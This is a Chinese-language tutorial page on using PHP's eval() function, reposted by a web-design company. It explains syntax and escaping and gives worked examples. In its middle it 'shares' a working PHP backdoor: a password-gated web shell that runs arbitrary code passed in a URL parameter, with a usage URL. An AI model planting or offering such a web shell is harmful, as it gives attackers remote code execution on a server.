這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)eval函數(shù)如何在PHP中使用,文章內(nèi)容豐富且以專(zhuān)業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
代碼:
eval("echo'hello world';");
上邊代碼等同于下邊的代碼:
echo"hello world";
在瀏覽器中都輸出:hello world
運(yùn)用eval()要注意幾點(diǎn):
1.eval函數(shù)的參數(shù)的字符串末尾一定要有分號(hào),在最后還要另加一個(gè)分號(hào)(這個(gè)分號(hào)是php限制)
2.注意單引號(hào),雙引號(hào)和反斜杠的運(yùn)用。如果參數(shù)中帶有變量時(shí),并且變量有賦值操作的話,變量前的$符號(hào)錢(qián)一定要有\(zhòng)來(lái)轉(zhuǎn)義。如果沒(méi)有賦值操作可以不需要。
代碼:
$a=100; eval("echo$a;");
因?yàn)闆](méi)有賦值操作,所以可以不用\來(lái)轉(zhuǎn)義$.等同于以下代碼:
$a=100; eval("echo\$a;")
3.注意在命令式字符串(包括分號(hào))兩邊必須要有雙引號(hào)或者根據(jù)需要用單引號(hào)。否則報(bào)錯(cuò)。
命令式字符串是指:字符串中包括echo、print之類(lèi)的命令的時(shí)候。
如果參數(shù)只有一個(gè)變量則可以不用。例如:
$func =<<<FUNC function test(){ echo "test eval function"; } FUNC; eval($func); test();
分享個(gè)php eval后門(mén)程序
要求必須支持eval函數(shù)
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();
<?php $passwd="admin";if($_GET['pwd']!=$passwd)exit; if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);} ?>
PHP eval() 函數(shù)介紹
eval() 函數(shù)把字符串按照 PHP 代碼來(lái)計(jì)算。
該字符串必須是合法的 PHP 代碼,且必須以分號(hào)結(jié)尾。
如果沒(méi)有在代碼字符串中調(diào)用 return 語(yǔ)句,則返回 NULL。如果代碼中存在解析錯(cuò)誤,則 eval() 函數(shù)返回 false。
語(yǔ)法eval(phpcode)
參數(shù) | 描述 |
---|---|
phpcode | 必需。規(guī)定要計(jì)算的 PHP 代碼。 |
提示和注釋
注釋?zhuān)悍祷卣Z(yǔ)句會(huì)立即終止對(duì)字符串的計(jì)算。
注釋?zhuān)涸摵瘮?shù)對(duì)于在數(shù)據(jù)庫(kù)文本字段中供日后計(jì)算而進(jìn)行的代碼存儲(chǔ)很有用。
例子
<?php $string = "beautiful"; $time = "winter"; $str = 'This is a $string $time morning!'; echo $str. "<br />"; eval("\$str = \"$str\";"); echo $str; ?>
輸出:
This is a $string $time morning!
This is a beautiful winter morning!
上述就是小編為大家分享的eval函數(shù)如何在PHP中使用了,如果剛好有類(lèi)似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。
網(wǎng)頁(yè)名稱(chēng):eval函數(shù)如何在PHP中使用-創(chuàng)新互聯(lián)
分享網(wǎng)址:http://www.rwnh.cn/article36/cepjsg.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供營(yíng)銷(xiāo)型網(wǎng)站建設(shè)、品牌網(wǎng)站設(shè)計(jì)、定制網(wǎng)站、自適應(yīng)網(wǎng)站、App設(shè)計(jì)、微信公眾號(hào)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)
猜你還喜歡下面的內(nèi)容